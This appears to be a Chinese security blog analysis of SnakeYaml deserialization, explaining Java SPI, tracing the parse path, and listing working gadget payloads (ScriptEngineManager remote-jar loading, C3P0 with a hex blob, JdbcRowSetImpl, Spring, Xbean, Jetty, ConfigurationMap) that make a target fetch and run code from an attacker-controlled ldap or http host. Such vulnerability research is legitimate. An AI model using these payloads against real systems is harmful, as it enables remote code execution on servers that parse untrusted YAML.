SnakeYaml反序列化分析

这篇具有很好参考价值的文章主要介绍了SnakeYaml反序列化分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。yaml真是到哪都有啊。

环境搭建

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.32</version>
</dependency>

SPI机制

介绍

SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别,API是服务端自己提供接口类并自己实现相应的类供客户端进行调用,而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用。

例子

准备一个接口

package com.ctf.Impl;

public interface Shopping {
    String buyMask();
}

准备两个实现类

package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyN95 implements Shopping {
    @Override
    public String buyMask() {
        return "Buy N95";
    }
}
package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyNormal implements Shopping {
    @Override
    public String buyMask() {
        return "Buy Normal";
    }
}

在resources目录下新建目录META-INF/services,在services目录下建一个配置文件,配置文件名为接口类的路径+名称,比如我的就是com.ctf.Impl.Shopping,写入两个实现类路径
SnakeYaml反序列化分析
然后把项目打包成jar包,File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies,记得选择把META-INF添加,Build Artifacts
SnakeYaml反序列化分析
out目录下有jar包,这时新建一个项目,把生成的jar包作为依赖导入
SnakeYaml反序列化分析
我们可以把上面生成的jar包理解为客户端用户根据SPI接口自己定义了一套实现并打包成jar,然后下面写入的测试代码,就是服务端的代码,服务端引入了jar包和其中的META-INF/services下的配置文件,通过ServiceLoader.load执行了相关操作。

Setter

准备一个POJO

package com.ctf.POJO;

public class User {

    String name;
    int age;

    public User() {
        System.out.println("User构造函数");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("User.getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("User.setAge");
        this.age = age;
    }
}

序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;

public class SetterPoc {
    public static void main(String[] args) {
        User user = new User();
        user.setName("F12");
        user.setAge(20);
        String str = serialize(user);
        System.out.println(str);
    }
    public static String serialize(Object obj){
        Yaml yaml = new Yaml();
        return yaml.dump(obj);
    }
    public static String unserialize(String str){
        Yaml yaml = new Yaml();
        return yaml.load(str);
    }
}

getter和setter都调用了
SnakeYaml反序列化分析

反序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;

public class SetterPoc {
    public static void main(String[] args) {
        User user = new User();
        user.setName("F12");
        user.setAge(20);
        //        String str = serialize(user);
        //        System.out.println(str);
        unserialize("!!com.ctf.POJO.User {age: 20, name: F12}");
    }
    public static String serialize(Object obj){
        Yaml yaml = new Yaml();
        return yaml.dump(obj);
    }
    public static String unserialize(String str){
        Yaml yaml = new Yaml();
        return yaml.load(str);
    }
}

只调用了setter
SnakeYaml反序列化分析

SnakeYaml反序列化漏洞

影响版本:1.33以下的全版本

攻击测试

github有个写好的SPI:https://github.com/artsploit/yaml-payload/tree/master,打包成jar包就行

package com.ctf;

import org.yaml.snakeyaml.Yaml;

public class POC {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8000/yaml-payload.jar\"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

SnakeYaml反序列化分析

流程分析

load处打断点,跟进
SnakeYaml反序列化分析
跟进loadFromReader
SnakeYaml反序列化分析
跟进getSingleData
SnakeYaml反序列化分析
这里对tag进行了修改,变为一种yaml规范的格式,这个是个重点,先记住,跟进constructDocument方法
SnakeYaml反序列化分析
SnakeYaml反序列化分析
跟进constructObject方法
SnakeYaml反序列化分析
跟进check
SnakeYaml反序列化分析
可以看出是要准备实例化了,进入constructor.construct
SnakeYaml反序列化分析
继续跟进construct,代码有点多,看重点代码

for (Node argumentNode : snode.getValue()) {
    Class<?> type = c.getParameterTypes()[index];
    // set runtime classes for arguments
    argumentNode.setType(type);
    argumentList[index++] = constructObject(argumentNode);
}

这里value有一个嵌套,他会一层层的往里去实例化,最后分别作为各自的参数,比如UrlClassLoader是ScriptEngine的参数,Url是UrlCLassLoader的参数。然后实例化的顺序是从URL->URLCLASSLOADER->ScriptEngine顺序去实例化的
SnakeYaml反序列化分析
最后会实例化
SnakeYaml反序列化分析
因为有个迭代,迭代完才能到这里实例化,所以我们直接在ScriptEngineManage的实例化方法给断点
SnakeYaml反序列化分析
跟进init方法
SnakeYaml反序列化分析
跟进initEngines方法
SnakeYaml反序列化分析
这里调用ServiceLoader
SnakeYaml反序列化分析
这里就会去加载用户自定义的实现类,也就会触发我们写的恶意类

男男搭配,干活不累

干活不累,但是调试很累,所以师傅们自己调试吧,就不写上面了

SnakeYaml+C3P0

之前研究过C3P0,有两条链,不出网的是HEX,出网的是JNDI,放payload

JNDI(对应setJndiName)

!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
  jndiName: "ldap://localhost:1099/Exploit"
  loginTimeout: 0

HEX(对应实例化方法)

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
  userOverridesAsString: "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;"

SnakeYaml+JdbcRowSetImpl

!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: "ldap://localhost:1389/Exploit"
  autoCommit: true

SnakeYaml+PropertyPathFactoryBean

!!org.springframework.beans.factory.config.PropertyPathFactoryBean
  targetBeanName: "ldap://localhost:1389/Exploit"
  propertyPath: mi1k7ea
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                 shareableResources: ["ldap://localhost:1389/Exploit"]

调用栈

lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)

SnakeYaml+DefaultBeanFactoryPointcutAdvisor

!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
  adviceBeanName: "ldap://localhost:1389/Exploit"
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                 shareableResources: ["ldap://localhost:1389/Exploit"]

SnakeYaml+Xbean

!!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]

这个使用BadAttibute的构造方法触发Xbean的toString

SnakeYaml+ConfigurationMap

!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]

调用栈:文章来源地址https://www.toymoban.com/news/detail-855600.html

getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:528, AbstractMap (java.util)
constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)

SnakeYaml+Jetty

[!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]
<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
lookup:503, NamingContext (org.eclipse.jetty.jndi)
lookup:578, NamingContext (org.eclipse.jetty.jndi)
bind:69, NamingUtil (org.eclipse.jetty.jndi)
save:202, NamingEntry (org.eclipse.jetty.plus.jndi)
<init>:39, Resource (org.eclipse.jetty.plus.jndi)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequenceStep2:376, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequence:360, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:499, SafeConstructor$ConstructYamlSeq (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)

到了这里,关于SnakeYaml反序列化分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • RMI反序列化分析

    RMI全程Remote Method Invocation (远程方法引用),RMI有客户端和服务端,还有一个注册中心,在java中客户端可以通过RMI调用服务端的方法,流程图如下: 服务端创建RMI后会在RMI Registry(注册中心)注册,之后客户端都是从注册中心调用方法,RMI分为三个主体部分: Client-客户端

    2024年03月26日
    浏览(25)
  • Shiro反序列化分析

    Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带 Commoncollections 的,除此之外还带了一个包叫做 CommonBeanUtils ,主要利用类就在这个包里 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 编辑shiro/s

    2024年03月24日
    浏览(30)
  • Hessian反序列化分析

    RPC全称为 Remote Procedure Call Protocol (远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便 RPC协议的一次远程通信过程如下: 客户端发起请求,并按照RPC协议格式填充信

    2024年04月11日
    浏览(45)
  • JDBC反序列化分析

    找两个序列化后的bin文件,进行对比,可以发现前两个字节是固定的 AC , ED ,变十进制就是 -84 , -19 记住这两个数,后面分析的时候会用到 触发点在 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 可以看到在触发readObject之前还对data的前两个字节进行了比较来判断是不是序列化对象,

    2024年04月08日
    浏览(51)
  • FastJson反序列化分析

    前言:网上关于FastJson的分析文章一大片,本文只是笔者在实践操作中理解的一些东西,不算特别详细,留作日后复习,欢迎一起交流 什么是FastJson? Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。 先来看看一

    2024年02月06日
    浏览(29)
  • Groovy反序列化链分析

    Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。 在项目中可以引用 Groovy 的相关包依赖,分为核心

    2024年04月13日
    浏览(19)
  • Kryo反序列化链分析

    Kryo是一个快速序列化/反序列化工具,依赖于字节码生成机制(底层使用了ASM库),因此在序列化速度上有一定的优势,但正因如此,其使用也只能限制在基于JVM的语言上。 Kryo序列化出的结果,是其自定义的,独有的一种格式。由于其序列化出的结果是二进制的,也即byte[],因

    2024年04月14日
    浏览(21)
  • Resin反序列化链分析

    Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的,旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有一定的联系 因为是JDNI,所以还是得注意下jdk版本,这里用jdk8u65 之前研究过Hessian反序列化

    2024年04月24日
    浏览(23)
  • Rome反序列化链分析

    先看看调用栈: 先给出poc,然后一步步调试分析 在readObject处打个断点开始调试 进入HashMap的readObject 跟进hash方法 跟进hashCode方法 来到ObjectBean的hashCode方法, _equalsBean 是EqualsBean的实例对象,跟进它的beanHashCode方法 _obj 是ToStringBean的实例对象,跟进它的toString方法 进入另一个

    2024年04月09日
    浏览(55)
  • XStream反序列化漏洞分析

    把之前看的XStream反序列化漏洞分析过程做个笔记,从前期JAVA的代理模式动态代理基础知识到XStream解析流程都有记录。 代理是设计模式中的一种,代理类为委托类提供消息预处理、消息转发、事后消息处理等功能,JAVA中代理分为三种角色:代理类、委托类、接口。 以上的定

    2024年02月13日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包